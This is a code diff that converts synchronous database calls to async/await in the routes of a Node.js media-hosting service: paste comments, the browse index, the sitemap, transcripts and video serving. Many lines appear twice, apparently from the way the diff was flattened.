} catch (err) {
} catch (err) {
console.error('[Pastes] Like error:', err.message);
console.error('[Pastes] Like error:', err.message);
@@ -692,11 +692,11 @@ router.post('/:slug/like', tenantAuth({ allowUser: true }), (req, res) => {
@@ -692,11 +692,11 @@ router.post('/:slug/like', tenantAuth({ allowUser: true }), (req, res) => {
});
});
// ── Track a copy event ──────────────────────────────────────
// ── Track a copy event ──────────────────────────────────────
-router.post('/:slug/copy', tenantAuth({ allowUser: true }), (req, res) => {
+router.post('/:slug/copy', tenantAuth({ allowUser: true }), async (req, res) => {
try {
try {
- const paste = _getPasteScoped(req, res);
+ const paste = await _getPasteScoped(req, res);
if (!paste) return;
if (!paste) return;
- db.incrementPasteCopies(paste.slug);
+ await db.incrementPasteCopies(paste.slug);
res.json({ copies: (paste.copies || 0) + 1 });
res.json({ copies: (paste.copies || 0) + 1 });
} catch (err) {
} catch (err) {
res.status(500).json({ error: 'Failed to track copy' });
res.status(500).json({ error: 'Failed to track copy' });
@@ -718,19 +718,19 @@ const _cooldownSweep = require('../drill').enabled ? null : setInterval(() => {
@@ -718,19 +718,19 @@ const _cooldownSweep = require('../drill').enabled ? null : setInterval(() => {
}, 600_000);
}, 600_000);
if (_cooldownSweep && _cooldownSweep.unref) _cooldownSweep.unref();
if (_cooldownSweep && _cooldownSweep.unref) _cooldownSweep.unref();
-router.get('/:slug/comments', tenantAuth({ allowUser: true }), (req, res) => {
+router.get('/:slug/comments', tenantAuth({ allowUser: true }), async (req, res) => {
try {
try {
- const paste = _getPasteScoped(req, res);
+ const paste = await _getPasteScoped(req, res);
if (!paste) return;
if (!paste) return;
const limit = Math.min(parseInt(req.query.limit || '50'), 100);
const limit = Math.min(parseInt(req.query.limit || '50'), 100);
const offset = parseInt(req.query.offset || '0');
const offset = parseInt(req.query.offset || '0');
- const comments = db.getPasteComments(paste.id, limit, offset);
- const total = db.getPasteCommentCount(paste.id);
+ const comments = await db.getPasteComments(paste.id, limit, offset);
+ const total = await db.getPasteCommentCount(paste.id);
for (const c of comments) {
for (const c of comments) {
- c.replies = db.getPasteCommentReplies(c.id);
+ c.replies = await db.getPasteCommentReplies(c.id);
c.reply_count = c.replies.length;
c.reply_count = c.replies.length;
}
}
@@ -741,22 +741,22 @@ router.get('/:slug/comments', tenantAuth({ allowUser: true }), (req, res) => {
@@ -741,22 +741,22 @@ router.get('/:slug/comments', tenantAuth({ allowUser: true }), (req, res) => {
}
}
});
});
-router.post('/:slug/comments', tenantAuth({ allowUser: true }), (req, res) => {
+router.post('/:slug/comments', tenantAuth({ allowUser: true }), async (req, res) => {
try {
try {
- const paste = _getPasteScoped(req, res);
+ const paste = await _getPasteScoped(req, res);
if (!paste) return;
if (!paste) return;
const ip = req.ip || 'unknown';
const ip = req.ip || 'unknown';
const userId = req.authType === 'user' ? req.userId : (req.body?.user_id ?? null);
const userId = req.authType === 'user' ? req.userId : (req.body?.user_id ?? null);
// ── Anon check ──────────────────────────────────────
// ── Anon check ──────────────────────────────────────
- if (userId == null && db.getSetting('paste_comment_anon_allowed') === false) {
+ if (userId == null && await db.getSetting('paste_comment_anon_allowed') === false) {
return res.status(401).json({ error: 'You must be logged in to comment' });
return res.status(401).json({ error: 'You must be logged in to comment' });
}
}
// ── Message validation ──────────────────────────────
// ── Message validation ──────────────────────────────
const message = (req.body?.message || '').trim();
const message = (req.body?.message || '').trim();
- const maxLen = Number(db.getSetting('paste_comment_max_length')) || 2000;
+ const maxLen = Number(await db.getSetting('paste_comment_max_length')) || 2000;
if (!message) return res.status(400).json({ error: 'Comment cannot be empty' });
if (!message) return res.status(400).json({ error: 'Comment cannot be empty' });
if (message.length > maxLen) {
if (message.length > maxLen) {
return res.status(400).json({ error: `Comment must be under ${maxLen} characters` });
return res.status(400).json({ error: `Comment must be under ${maxLen} characters` });
@@ -771,13 +771,13 @@ router.post('/:slug/comments', tenantAuth({ allowUser: true }), (req, res) => {
@@ -771,13 +771,13 @@ router.post('/:slug/comments', tenantAuth({ allowUser: true }), (req, res) => {
// ── Rate limits (user-JWT/browser callers) ──────────
// ── Rate limits (user-JWT/browser callers) ──────────
if (req.authType === 'user') {
if (req.authType === 'user') {
- const cooldownSec = Number(db.getSetting('paste_comment_cooldown_seconds')) || 10;
+ const cooldownSec = Number(await db.getSetting('paste_comment_cooldown_seconds')) || 10;
const lastComment = commentCooldowns.get(ip);
const lastComment = commentCooldowns.get(ip);
if (lastComment && (Date.now() - lastComment) < cooldownSec * 1000) {
if (lastComment && (Date.now() - lastComment) < cooldownSec * 1000) {
const wait = Math.ceil((cooldownSec * 1000 - (Date.now() - lastComment)) / 1000);
const wait = Math.ceil((cooldownSec * 1000 - (Date.now() - lastComment)) / 1000);
return res.status(429).json({ error: `Please wait ${wait}s before commenting again` });
return res.status(429).json({ error: `Please wait ${wait}s before commenting again` });
}
}
- const recentFromIp = db.getRecentPasteCommentsByIp(ip, 60);
+ const recentFromIp = await db.getRecentPasteCommentsByIp(ip, 60);
if (recentFromIp.length >= 5) {
if (recentFromIp.length >= 5) {
return res.status(429).json({ error: 'Too many comments. Please slow down.' });
return res.status(429).json({ error: 'Too many comments. Please slow down.' });
}
}
@@ -790,7 +790,7 @@ router.post('/:slug/comments', tenantAuth({ allowUser: true }), (req, res) => {
@@ -790,7 +790,7 @@ router.post('/:slug/comments', tenantAuth({ allowUser: true }), (req, res) => {
const parentId = req.body?.parent_id ? parseInt(req.body.parent_id) : null;
const parentId = req.body?.parent_id ? parseInt(req.body.parent_id) : null;
let parent = null;
let parent = null;
if (parentId) {
if (parentId) {
- parent = db.getPasteCommentById(parentId);
+ parent = await db.getPasteCommentById(parentId);
if (!parent || parent.paste_id !== paste.id) {
if (!parent || parent.paste_id !== paste.id) {
return res.status(400).json({ error: 'Invalid parent comment' });
return res.status(400).json({ error: 'Invalid parent comment' });
}
}
@@ -800,7 +800,7 @@ router.post('/:slug/comments', tenantAuth({ allowUser: true }), (req, res) => {
@@ -800,7 +800,7 @@ router.post('/:slug/comments', tenantAuth({ allowUser: true }), (req, res) => {
}
}
}
}
- const result = db.createPasteComment({
+ const result = await db.createPasteComment({
paste_id: paste.id,
paste_id: paste.id,
user_id: userId,
user_id: userId,
parent_id: parentId,
parent_id: parentId,
@@ -811,7 +811,7 @@ router.post('/:slug/comments', tenantAuth({ allowUser: true }), (req, res) => {
@@ -811,7 +811,7 @@ router.post('/:slug/comments', tenantAuth({ allowUser: true }), (req, res) => {
commentCooldowns.set(ip, Date.now());
commentCooldowns.set(ip, Date.now());
- const comment = db.getPasteCommentById(result.lastInsertRowid);
+ const comment = await db.getPasteCommentById(result.lastInsertRowid);
res.status(201).json({ comment });
res.status(201).json({ comment });
} catch (err) {
} catch (err) {
console.error('[PasteComments] Create error:', err.message);
console.error('[PasteComments] Create error:', err.message);
@@ -819,12 +819,12 @@ router.post('/:slug/comments', tenantAuth({ allowUser: true }), (req, res) => {
@@ -819,12 +819,12 @@ router.post('/:slug/comments', tenantAuth({ allowUser: true }), (req, res) => {
}
}
});
});
-router.delete('/:slug/comments/:commentId', tenantAuth({ allowUser: true }), (req, res) => {
+router.delete('/:slug/comments/:commentId', tenantAuth({ allowUser: true }), async (req, res) => {
try {
try {
- const paste = _getPasteScoped(req, res);
+ const paste = await _getPasteScoped(req, res);
if (!paste) return;
if (!paste) return;
- const comment = db.getPasteCommentById(parseInt(req.params.commentId));
+ const comment = await db.getPasteCommentById(parseInt(req.params.commentId));
if (!comment || comment.paste_id !== paste.id) {
if (!comment || comment.paste_id !== paste.id) {
return res.status(404).json({ error: 'Comment not found' });
return res.status(404).json({ error: 'Comment not found' });
}
}
@@ -839,7 +839,7 @@ router.delete('/:slug/comments/:commentId', tenantAuth({ allowUser: true }), (re
@@ -839,7 +839,7 @@ router.delete('/:slug/comments/:commentId', tenantAuth({ allowUser: true }), (re
}
}
}
}
- db.deletePasteComment(comment.id);
+ await db.deletePasteComment(comment.id);
res.json({ message: 'Comment deleted' });
res.json({ message: 'Comment deleted' });
} catch (err) {
} catch (err) {
console.error('[PasteComments] Delete error:', err.message);
console.error('[PasteComments] Delete error:', err.message);
@@ -115,13 +115,13 @@ function thumbListable(name, publicIds) {
@@ -115,13 +115,13 @@ function thumbListable(name, publicIds) {
}
}
let _thumbListCache = { at: 0, list: [] };
let _thumbListCache = { at: 0, list: [] };
-function thumbList() {
+async function thumbList() {
if (Date.now() - _thumbListCache.at < 60_000) return _thumbListCache.list;
if (Date.now() - _thumbListCache.at < 60_000) return _thumbListCache.list;
let list = [];
let list = [];
try {
try {
const publicIds = {
const publicIds = {
- vod: new Set(db.all(`SELECT id FROM vods WHERE ${THUMB_PUBLIC.vod}`).map(r => r.id)),
- clip: new Set(db.all(`SELECT id FROM clips WHERE ${THUMB_PUBLIC.clip}`).map(r => r.id)),
+ vod: new Set((await db.all(`SELECT id FROM vods WHERE ${THUMB_PUBLIC.vod}`)).map(r => r.id)),
+ clip: new Set((await db.all(`SELECT id FROM clips WHERE ${THUMB_PUBLIC.clip}`)).map(r => r.id)),
};
};
list = fs.readdirSync(THUMB_DIR)
list = fs.readdirSync(THUMB_DIR)
.filter(f => /\.(jpe?g|png|webp)$/i.test(f) && thumbListable(f, publicIds))
.filter(f => /\.(jpe?g|png|webp)$/i.test(f) && thumbListable(f, publicIds))
@@ -133,44 +133,44 @@ function thumbList() {
@@ -133,44 +133,44 @@ function thumbList() {
return list;
return list;
}
}
-function fetchTab(tab, page) {
+async function fetchTab(tab, page) {
const off = (page - 1) * PAGE_SIZE;
const off = (page - 1) * PAGE_SIZE;
const L = `ORDER BY created_at DESC LIMIT ${PAGE_SIZE} OFFSET ${off}`;
const L = `ORDER BY created_at DESC LIMIT ${PAGE_SIZE} OFFSET ${off}`;
switch (tab) {
switch (tab) {
case 'videos': return {
case 'videos': return {
- total: db.get(`SELECT COUNT(*) c FROM vods WHERE ${V_WHERE}`).c,
- cards: db.all(`SELECT * FROM vods WHERE ${V_WHERE} ${L}`).map(vodCard),
+ total: (await db.get(`SELECT COUNT(*) c FROM vods WHERE ${V_WHERE}`)).c,
+ cards: (await db.all(`SELECT * FROM vods WHERE ${V_WHERE} ${L}`)).map(vodCard),
};
};
case 'clips': return {
case 'clips': return {
- total: db.get(`SELECT COUNT(*) c FROM clips WHERE ${C_WHERE}`).c,
- cards: db.all(`SELECT * FROM clips WHERE ${C_WHERE} ${L}`).map(clipCard),
+ total: (await db.get(`SELECT COUNT(*) c FROM clips WHERE ${C_WHERE}`)).c,
+ cards: (await db.all(`SELECT * FROM clips WHERE ${C_WHERE} ${L}`)).map(clipCard),
};
};
case 'images': return {
case 'images': return {
- total: db.get(`SELECT COUNT(*) c FROM pastes WHERE ${P_WHERE} AND type = 'screenshot'`).c,
- cards: db.all(`SELECT * FROM pastes WHERE ${P_WHERE} AND type = 'screenshot' ${L}`).map(pasteCard),
+ total: (await db.get(`SELECT COUNT(*) c FROM pastes WHERE ${P_WHERE} AND type = 'screenshot'`)).c,
+ cards: (await db.all(`SELECT * FROM pastes WHERE ${P_WHERE} AND type = 'screenshot' ${L}`)).map(pasteCard),
};
};
case 'text': return {
case 'text': return {
- total: db.get(`SELECT COUNT(*) c FROM pastes WHERE ${P_WHERE} AND COALESCE(type,'paste') <> 'screenshot'`).c,
- cards: db.all(`SELECT * FROM pastes WHERE ${P_WHERE} AND COALESCE(type,'paste') <> 'screenshot' ${L}`).map(pasteCard),
+ total: (await db.get(`SELECT COUNT(*) c FROM pastes WHERE ${P_WHERE} AND COALESCE(type,'paste') <> 'screenshot'`)).c,
+ cards: (await db.all(`SELECT * FROM pastes WHERE ${P_WHERE} AND COALESCE(type,'paste') <> 'screenshot' ${L}`)).map(pasteCard),
};
};
case 'files': return {
case 'files': return {
- total: db.get(`SELECT COUNT(*) c FROM files WHERE ${F_WHERE}`).c,
- cards: db.all(`SELECT * FROM files WHERE ${F_WHERE} ${L}`).map(fileCard),
+ total: (await db.get(`SELECT COUNT(*) c FROM files WHERE ${F_WHERE}`)).c,
+ cards: (await db.all(`SELECT * FROM files WHERE ${F_WHERE} ${L}`)).map(fileCard),
};
};
case 'emotes': return {
case 'emotes': return {
- total: db.get("SELECT COUNT(*) c FROM assets WHERE kind = 'emote'").c,
- cards: db.all(`SELECT * FROM assets WHERE kind = 'emote' ${L}`).map(assetCard),
+ total: (await db.get("SELECT COUNT(*) c FROM assets WHERE kind = 'emote'")).c,
+ cards: (await db.all(`SELECT * FROM assets WHERE kind = 'emote' ${L}`)).map(assetCard),
};
};
case 'sounds': return {
case 'sounds': return {
- total: db.get("SELECT COUNT(*) c FROM assets WHERE kind = 'sound'").c,
- cards: db.all(`SELECT * FROM assets WHERE kind = 'sound' ${L}`).map(assetCard),
+ total: (await db.get("SELECT COUNT(*) c FROM assets WHERE kind = 'sound'")).c,
+ cards: (await db.all(`SELECT * FROM assets WHERE kind = 'sound' ${L}`)).map(assetCard),
};
};
case 'thumbnails': {
case 'thumbnails': {
- const list = thumbList();
+ const list = await thumbList();
return { total: list.length, cards: list.slice(off, off + PAGE_SIZE).map(([f, t]) => thumbCard(f, t)) };
return { total: list.length, cards: list.slice(off, off + PAGE_SIZE).map(([f, t]) => thumbCard(f, t)) };
}
}
default: { // all — one unified reverse-chronological index across DB-backed media
default: { // all — one unified reverse-chronological index across DB-backed media
- const rows = db.all(`
+ const rows = await db.all(`
SELECT 'vod' k, id ref, title, description, ai_overview, thumbnail_url, duration_seconds, created_at, app_id, NULL slug, NULL type, NULL content, NULL language FROM vods WHERE ${V_WHERE}
SELECT 'vod' k, id ref, title, description, ai_overview, thumbnail_url, duration_seconds, created_at, app_id, NULL slug, NULL type, NULL content, NULL language FROM vods WHERE ${V_WHERE}
UNION ALL
UNION ALL
SELECT 'clip', id, title, description, ai_overview, thumbnail_url, duration_seconds, created_at, app_id, NULL, NULL, NULL, NULL FROM clips WHERE ${C_WHERE}
SELECT 'clip', id, title, description, ai_overview, thumbnail_url, duration_seconds, created_at, app_id, NULL, NULL, NULL, NULL FROM clips WHERE ${C_WHERE}
@@ -179,11 +179,11 @@ function fetchTab(tab, page) {
@@ -179,11 +179,11 @@ function fetchTab(tab, page) {
UNION ALL
UNION ALL
SELECT 'asset', id, name, username, channel_username, kind, duration_seconds, created_at, app_id, NULL, NULL, NULL, NULL FROM assets
SELECT 'asset', id, name, username, channel_username, kind, duration_seconds, created_at, app_id, NULL, NULL, NULL, NULL FROM assets
ORDER BY created_at DESC LIMIT ${PAGE_SIZE} OFFSET ${off}`);
ORDER BY created_at DESC LIMIT ${PAGE_SIZE} OFFSET ${off}`);
- const total = db.get(`SELECT
+ const total = (await db.get(`SELECT
(SELECT COUNT(*) FROM vods WHERE ${V_WHERE}) +
(SELECT COUNT(*) FROM vods WHERE ${V_WHERE}) +
(SELECT COUNT(*) FROM clips WHERE ${C_WHERE}) +
(SELECT COUNT(*) FROM clips WHERE ${C_WHERE}) +
(SELECT COUNT(*) FROM pastes WHERE ${P_WHERE}) +
(SELECT COUNT(*) FROM pastes WHERE ${P_WHERE}) +
- (SELECT COUNT(*) FROM assets) c`).c;
+ (SELECT COUNT(*) FROM assets) c`)).c;
const cards = rows.map(r => r.k === 'vod' ? vodCard({ ...r, id: r.ref })
const cards = rows.map(r => r.k === 'vod' ? vodCard({ ...r, id: r.ref })
: r.k === 'clip' ? clipCard({ ...r, id: r.ref })
: r.k === 'clip' ? clipCard({ ...r, id: r.ref })
: r.k === 'asset' ? assetCard({ id: r.ref, name: r.title, username: r.description, channel_username: r.ai_overview, kind: r.thumbnail_url, duration_seconds: r.duration_seconds, created_at: r.created_at, app_id: r.app_id })
: r.k === 'asset' ? assetCard({ id: r.ref, name: r.title, username: r.description, channel_username: r.ai_overview, kind: r.thumbnail_url, duration_seconds: r.duration_seconds, created_at: r.created_at, app_id: r.app_id })
@@ -194,18 +194,18 @@ function fetchTab(tab, page) {
@@ -194,18 +194,18 @@ function fetchTab(tab, page) {
}
}
let _countCache = { at: 0, counts: null };
let _countCache = { at: 0, counts: null };
-function tabCounts() {
+async function tabCounts() {
if (_countCache.counts && Date.now() - _countCache.at < 60_000) return _countCache.counts;
if (_countCache.counts && Date.now() - _countCache.at < 60_000) return _countCache.counts;
- const c = (sql) => { try { return db.get(sql).c; } catch { return 0; } };
+ const c = async (sql) => { try { return (await db.get(sql)).c; } catch { return 0; } };
const counts = {
const counts = {
- videos: c(`SELECT COUNT(*) c FROM vods WHERE ${V_WHERE}`),
- clips: c(`SELECT COUNT(*) c FROM clips WHERE ${C_WHERE}`),
- images: c(`SELECT COUNT(*) c FROM pastes WHERE ${P_WHERE} AND type = 'screenshot'`),
- text: c(`SELECT COUNT(*) c FROM pastes WHERE ${P_WHERE} AND COALESCE(type,'paste') <> 'screenshot'`),
- files: c(`SELECT COUNT(*) c FROM files WHERE ${F_WHERE}`),
- emotes: c("SELECT COUNT(*) c FROM assets WHERE kind = 'emote'"),
- sounds: c("SELECT COUNT(*) c FROM assets WHERE kind = 'sound'"),
- thumbnails: thumbList().length,
+ videos: await c(`SELECT COUNT(*) c FROM vods WHERE ${V_WHERE}`),
+ clips: await c(`SELECT COUNT(*) c FROM clips WHERE ${C_WHERE}`),
+ images: await c(`SELECT COUNT(*) c FROM pastes WHERE ${P_WHERE} AND type = 'screenshot'`),
+ text: await c(`SELECT COUNT(*) c FROM pastes WHERE ${P_WHERE} AND COALESCE(type,'paste') <> 'screenshot'`),
+ files: await c(`SELECT COUNT(*) c FROM files WHERE ${F_WHERE}`),
+ emotes: await c("SELECT COUNT(*) c FROM assets WHERE kind = 'emote'"),
+ sounds: await c("SELECT COUNT(*) c FROM assets WHERE kind = 'sound'"),
+ thumbnails: (await thumbList()).length,
};
};
counts.all = counts.videos + counts.clips + counts.images + counts.text + counts.emotes + counts.sounds;
counts.all = counts.videos + counts.clips + counts.images + counts.text + counts.emotes + counts.sounds;
_countCache = { at: Date.now(), counts };
_countCache = { at: Date.now(), counts };
@@ -299,13 +299,13 @@ ${require('./page-frame').frameScripts({ footer: { variant: 'full' } })}
@@ -299,13 +299,13 @@ ${require('./page-frame').frameScripts({ footer: { variant: 'full' } })}
</body></html>`;
</body></html>`;
}
}
-function handle(req, res) {
+async function handle(req, res) {
try {
try {
const tab = TABS.some(([k]) => k === req.query.tab) ? req.query.tab : 'all';
const tab = TABS.some(([k]) => k === req.query.tab) ? req.query.tab : 'all';
const page = Math.max(1, parseInt(req.query.page, 10) || 1);
const page = Math.max(1, parseInt(req.query.page, 10) || 1);
- const data = fetchTab(tab, page);
+ const data = await fetchTab(tab, page);
res.set({ 'Cache-Control': 'public, max-age=30', 'Content-Type': 'text/html; charset=utf-8' });
res.set({ 'Cache-Control': 'public, max-age=30', 'Content-Type': 'text/html; charset=utf-8' });
- res.send(renderPage(tab, page, data, tabCounts()));
+ res.send(renderPage(tab, page, data, await tabCounts()));
} catch (err) {
} catch (err) {
console.error('[Browse] render error:', err.message);
console.error('[Browse] render error:', err.message);
res.status(500).send('Failed to render media index');
res.status(500).send('Failed to render media index');
@@ -41,21 +41,21 @@ const WATCH_WHERE = {
@@ -41,21 +41,21 @@ const WATCH_WHERE = {
AND COALESCE(auto_generated, 0) = 0 AND COALESCE(file_path, '') != '' AND app_id != 'live' AND ${readiness.playableSql('clips.object_id')}`,
AND COALESCE(auto_generated, 0) = 0 AND COALESCE(file_path, '') != '' AND app_id != 'live' AND ${readiness.playableSql('clips.object_id')}`,
};
};
-function sandboxApps() {
- return new Set(db.all("SELECT app_id FROM apps WHERE env = 'sandbox'").map(r => r.app_id));
+async function sandboxApps() {
+ return new Set((await db.all("SELECT app_id FROM apps WHERE env = 'sandbox'")).map(r => r.app_id));
}
}
/** The indexable watch pages, newest first: [{ loc, lastmod, images }]. */
/** The indexable watch pages, newest first: [{ loc, lastmod, images }]. */
-function sitemapEntries() {
- const sandbox = sandboxApps();
+async function sitemapEntries() {
+ const sandbox = await sandboxApps();
const out = [];
const out = [];
- const vods = db.all(`SELECT id, app_id, visibility, is_public, thumbnail_url, created_at FROM vods
+ const vods = await db.all(`SELECT id, app_id, visibility, is_public, thumbnail_url, created_at FROM vods
WHERE ${WATCH_WHERE.vod} ORDER BY created_at DESC LIMIT ?`, [MAX_URLS]);
WHERE ${WATCH_WHERE.vod} ORDER BY created_at DESC LIMIT ?`, [MAX_URLS]);
for (const v of vods) {
for (const v of vods) {
if (sandbox.has(v.app_id) || !pages.watchIndexable('vod', v)) continue;
if (sandbox.has(v.app_id) || !pages.watchIndexable('vod', v)) continue;
out.push({ loc: `${config.publicUrl}/v/${v.id}`, lastmod: iso(v.created_at), images: v.thumbnail_url ? [abs(v.thumbnail_url)] : [] });
out.push({ loc: `${config.publicUrl}/v/${v.id}`, lastmod: iso(v.created_at), images: v.thumbnail_url ? [abs(v.thumbnail_url)] : [] });
}
}
- const clips = db.all(`SELECT id, app_id, visibility, is_public, auto_generated, thumbnail_url, created_at FROM clips
+ const clips = await db.all(`SELECT id, app_id, visibility, is_public, auto_generated, thumbnail_url, created_at FROM clips
WHERE ${WATCH_WHERE.clip} ORDER BY created_at DESC LIMIT ?`, [MAX_URLS]);
WHERE ${WATCH_WHERE.clip} ORDER BY created_at DESC LIMIT ?`, [MAX_URLS]);
for (const c of clips) {
for (const c of clips) {
if (sandbox.has(c.app_id) || !pages.watchIndexable('clip', c)) continue;
if (sandbox.has(c.app_id) || !pages.watchIndexable('clip', c)) continue;
@@ -110,9 +110,9 @@ function send(res, type, body) {
@@ -110,9 +110,9 @@ function send(res, type, body) {
router.get('/robots.txt', (req, res) => send(res, 'text/plain', robotsTxt()));
router.get('/robots.txt', (req, res) => send(res, 'text/plain', robotsTxt()));
router.get('/llms.txt', (req, res) => send(res, 'text/plain', llmsTxt()));
router.get('/llms.txt', (req, res) => send(res, 'text/plain', llmsTxt()));
-router.get('/sitemap.xml', (req, res) => {
+router.get('/sitemap.xml', async (req, res) => {
try {
try {
- send(res, 'application/xml', seo.sitemapXml([{ loc: `${config.publicUrl}/`, changefreq: 'hourly' }, ...sitemapEntries()]));
+ send(res, 'application/xml', seo.sitemapXml([{ loc: `${config.publicUrl}/`, changefreq: 'hourly' }, ...await sitemapEntries()]));
} catch (err) {
} catch (err) {
console.error('[Public] sitemap error:', err.message);
console.error('[Public] sitemap error:', err.message);
res.status(500).type('text/plain').send('sitemap unavailable');
res.status(500).type('text/plain').send('sitemap unavailable');
@@ -132,14 +132,14 @@ function getTranscriptTimeline(appId, sel, limit) {
@@ -132,14 +132,14 @@ function getTranscriptTimeline(appId, sel, limit) {
const user = await _resolveUser(appId, String(sel).slice(1));
const user = await _resolveUser(appId, String(sel).slice(1));
if (!user) return { status: 404, body: { error: `Streamer ${sel} not found` } };
if (!user) return { status: 404, body: { error: `Streamer ${sel} not found` } };
uid = user.uid; scope = 'streamer'; label = `@${user.username}`;
uid = user.uid; scope = 'streamer'; label = `@${user.username}`;
- rows = db.all(
+ rows = await db.all(
`SELECT ${VOD_COLS} FROM vods WHERE app_id = ? AND user_id = ? AND is_public = 1 AND COALESCE(clips_only,0) = 0
`SELECT ${VOD_COLS} FROM vods WHERE app_id = ? AND user_id = ? AND is_public = 1 AND COALESCE(clips_only,0) = 0
ORDER BY COALESCE(is_recording,0) DESC, created_at DESC LIMIT ?`, [appId, uid, n]);
ORDER BY COALESCE(is_recording,0) DESC, created_at DESC LIMIT ?`, [appId, uid, n]);
} else {
} else {
const resolved = await frames.resolveSelector(appId, sel);
const resolved = await frames.resolveSelector(appId, sel);
if (!resolved.msid) return { status: 404, body: { error: `Slot '${sel}' not found or not live (slugs resolve while live; slot ids always work)` } };
if (!resolved.msid) return { status: 404, body: { error: `Slot '${sel}' not found or not live (slugs resolve while live; slot ids always work)` } };
scope = 'slot'; label = resolved.label;
scope = 'slot'; label = resolved.label;
- rows = db.all(
+ rows = await db.all(
`SELECT ${VOD_COLS} FROM vods WHERE app_id = ? AND managed_stream_id = ? AND is_public = 1 AND COALESCE(clips_only,0) = 0
`SELECT ${VOD_COLS} FROM vods WHERE app_id = ? AND managed_stream_id = ? AND is_public = 1 AND COALESCE(clips_only,0) = 0
ORDER BY COALESCE(is_recording,0) DESC, created_at DESC LIMIT ?`, [appId, resolved.msid, n]);
ORDER BY COALESCE(is_recording,0) DESC, created_at DESC LIMIT ?`, [appId, resolved.msid, n]);
uid = rows[0]?.user_id ?? null;
uid = rows[0]?.user_id ?? null;
@@ -166,7 +166,7 @@ function getTranscriptTimeline(appId, sel, limit) {
@@ -166,7 +166,7 @@ function getTranscriptTimeline(appId, sel, limit) {
/** Transcript + AI overview for one existing VOD id. */
/** Transcript + AI overview for one existing VOD id. */
function getVodTranscript(vodId) {
function getVodTranscript(vodId) {
return cached(`vt:${vodId}`, async () => {
return cached(`vt:${vodId}`, async () => {
- const v = db.get(`SELECT ${VOD_COLS}, app_id, is_public, clips_only FROM vods WHERE id = ?`, [vodId]);
+ const v = await db.get(`SELECT ${VOD_COLS}, app_id, is_public, clips_only FROM vods WHERE id = ?`, [vodId]);
// Private (including legacy rows with no visibility and is_public = 0) and clips-only
// Private (including legacy rows with no visibility and is_public = 0) and clips-only
// source recordings answer exactly like a missing id — the same rule /v/:id applies.
// source recordings answer exactly like a missing id — the same rule /v/:id applies.
const hidden = v && ((v.visibility || (v.is_public ? 'public' : 'private')) === 'private' || v.clips_only);
const hidden = v && ((v.visibility || (v.is_public ? 'public' : 'private')) === 'private' || v.clips_only);
@@ -47,8 +47,8 @@ const views = require('../views/service');
@@ -47,8 +47,8 @@ const views = require('../views/service');
// Views + unique views live in ../views/service (visit-based with a cooldown, hashed
// Views + unique views live in ../views/service (visit-based with a cooldown, hashed
// visitors, owner/bot/rate-limit exclusions). A playback session counts once: only the
// visitors, owner/bot/rate-limit exclusions). A playback session counts once: only the
// request for the first bytes, not every seek/range request.
// request for the first bytes, not every seek/range request.
-function trackUniqueView(kind, id, req, ownerUserId = null) {
- try { if (views.isInitialPlaybackRequest(req)) views.recordView(kind, id, { req, ownerUserId }); } catch { /* non-critical */ }
+async function trackUniqueView(kind, id, req, ownerUserId = null) {
+ try { if (views.isInitialPlaybackRequest(req)) await views.recordView(kind, id, { req, ownerUserId }); } catch { /* non-critical */ }
}
}
/** public | unlisted | private. Rows without a visibility fall back to is_public (0 = private). */
/** public | unlisted | private. Rows without a visibility fall back to is_public (0 = private). */
@@ -143,15 +143,15 @@ async function serveMediaRecord(kind, record, req, res) {
@@ -143,15 +143,15 @@ async function serveMediaRecord(kind, record, req, res) {
// recording's sidecar through it while the stream is still being recorded.
// recording's sidecar through it while the stream is still being recorded.
if (pages.wantsHtmlPage(req)) {
if (pages.wantsHtmlPage(req)) {
res.set('Cache-Control', visibility === 'public' ? 'public, max-age=60' : 'private, no-store');
res.set('Cache-Control', visibility === 'public' ? 'public, max-age=60' : 'private, no-store');
- return res.type('html').send(pages.renderWatchPage(kind, record, require('../objects/readiness').forRow(record)));
+ return res.type('html').send(pages.renderWatchPage(kind, record, await require('../objects/readiness').forRow(record)));
}
}
if (drill.refuseBytes(res)) return;
if (drill.refuseBytes(res)) return;
- trackUniqueView(kind, record.id, req, record.user_id);
+ await trackUniqueView(kind, record.id, req, record.user_id);
// Track last access time for storage tier decisions
// Track last access time for storage tier decisions
if (kind === 'vod') {
if (kind === 'vod') {
- try { db.run("UPDATE vods SET last_accessed_at = datetime('now') WHERE id = ?", [record.id]); } catch {}
+ try { await db.run("UPDATE vods SET last_accessed_at = datetime('now') WHERE id = ?", [record.id]); } catch {}
}
}
// Resolve the local file. Clips keep their own absolute path; VODs resolve
// Resolve the local file. Clips keep their own absolute path; VODs resolve
@@ -204,13 +204,13 @@ async function serveMediaRecord(kind, record, req, res) {
@@ -204,13 +204,13 @@ async function serveMediaRecord(kind, record, req, res) {
router.get('/v/:id', optionalIdentity, async (req, res) => {
router.get('/v/:id', optionalIdentity, async (req, res) => {
try {
try {
if (/^\d+$/.test(req.params.id)) {
if (/^\d+$/.test(req.params.id)) {
- const vod = db.getVodById(parseInt(req.params.id, 10));
+ const vod = await db.getVodById(parseInt(req.params.id, 10));
if (!vod || vod.clips_only) return notFound(res);
if (!vod || vod.clips_only) return notFound(res);
return await serveMediaRecord('vod', vod, req, res);
return await serveMediaRecord('vod', vod, req, res);
}
}
- const vod = db.getVodByFileBasename(req.params.id);
+ const vod = await db.getVodByFileBasename(req.params.id);
if (vod && !vod.clips_only) return await serveMediaRecord('vod', vod, req, res);
if (vod && !vod.clips_only) return await serveMediaRecord('vod', vod, req, res);
- const clip = db.getClipByFileBasename(req.params.id);
+ const clip = await db.getClipByFileBasename(req.params.id);
if (clip) return await serveMediaRecord('clip', clip, req, res);
if (clip) return await serveMediaRecord('clip', clip, req, res);
notFound(res);
notFound(res);
} catch (err) {
} catch (err) {
@@ -223,7 +223,7 @@ router.get('/v/:id', optionalIdentity, async (req, res) => {
@@ -223,7 +223,7 @@ router.get('/v/:id', optionalIdentity, async (req, res) => {
router.get('/c/:id', optionalIdentity, async (req, res) => {
router.get('/c/:id', optionalIdentity, async (req, res) => {
try {
try {
if (!/^\d+$/.test(req.params.id)) return notFound(res);
if (!/^\d+$/.test(req.params.id)) return notFound(res);
- const clip = db.getClipById(parseInt(req.params.id, 10));
+ const clip = await db.getClipById(parseInt(req.params.id, 10));
// A clip still being cut (or whose cut failed) has no file yet: its bytes are a 404, and a
// A clip still being cut (or whose cut failed) has no file yet: its bytes are a 404, and a
// browser navigation gets the watch page saying so (private clips still look missing).
// browser navigation gets the watch page saying so (private clips still look missing).
if (!clip || (!clip.file_path && !pages.wantsHtmlPage(req))) return notFound(res);
if (!clip || (!clip.file_path && !pages.wantsHtmlPage(req))) return notFound(res);
